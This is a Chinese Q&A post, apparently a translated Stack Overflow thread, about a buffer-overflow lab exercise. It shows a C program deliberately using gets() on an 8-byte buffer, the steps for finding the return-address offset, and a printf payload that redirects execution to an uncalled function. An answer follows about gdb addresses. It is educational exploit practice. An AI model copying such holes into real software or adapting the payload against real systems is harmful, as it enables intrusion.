我正在尝试运行缓冲区溢出练习,这是代码:
#include <stdio.h>
int badfunction() {
char buffer[8];
gets(buffer);
puts(buffer);
}
int cantrun() {
printf("This function cant run because it is never called");
}
int main() {
badfunction();
}
这是一段简单的代码。目标是在badfunction()
中溢出缓冲区并覆盖返回地址,使其指向函数cantrun()
的内存地址。
步骤1:找到返回地址的偏移量(在这种情况下,它是12字节,缓冲区为8,基本指针为4)。
步骤2:找到cantrun()
的内存位置,gdb说它是0x0804849a。
当我运行程序printf "%012x\x9a\x84\x04\x08" | ./vuln
时,我收到错误“非法指令”。这告诉我,我已正确覆盖了EIP,但cantrun()
的内存位置不正确。
我正在使用Kali Linux,内核3.14,我关闭了ASLR,我使用execstack来允许可执行堆栈。我做错了吗?
更新:
在黑暗中拍摄时,我试图通过移动地址找到正确的指令,0x0804849b就可以了。为什么这与GDB显示的不同。运行GDB时,0x0804849a是前置指令push ebp
的位置,0x0804849b是前置指令mov ebp,esp
。
答案 0 :(得分:2)
gdb没有做任何事情来改变它执行的程序中函数的位置。 ASLR可能很重要,但默认情况下gdb将其关闭以启用更简单的调试。
很难说为什么你会看到你的结果。什么拆解gdb中的函数显示?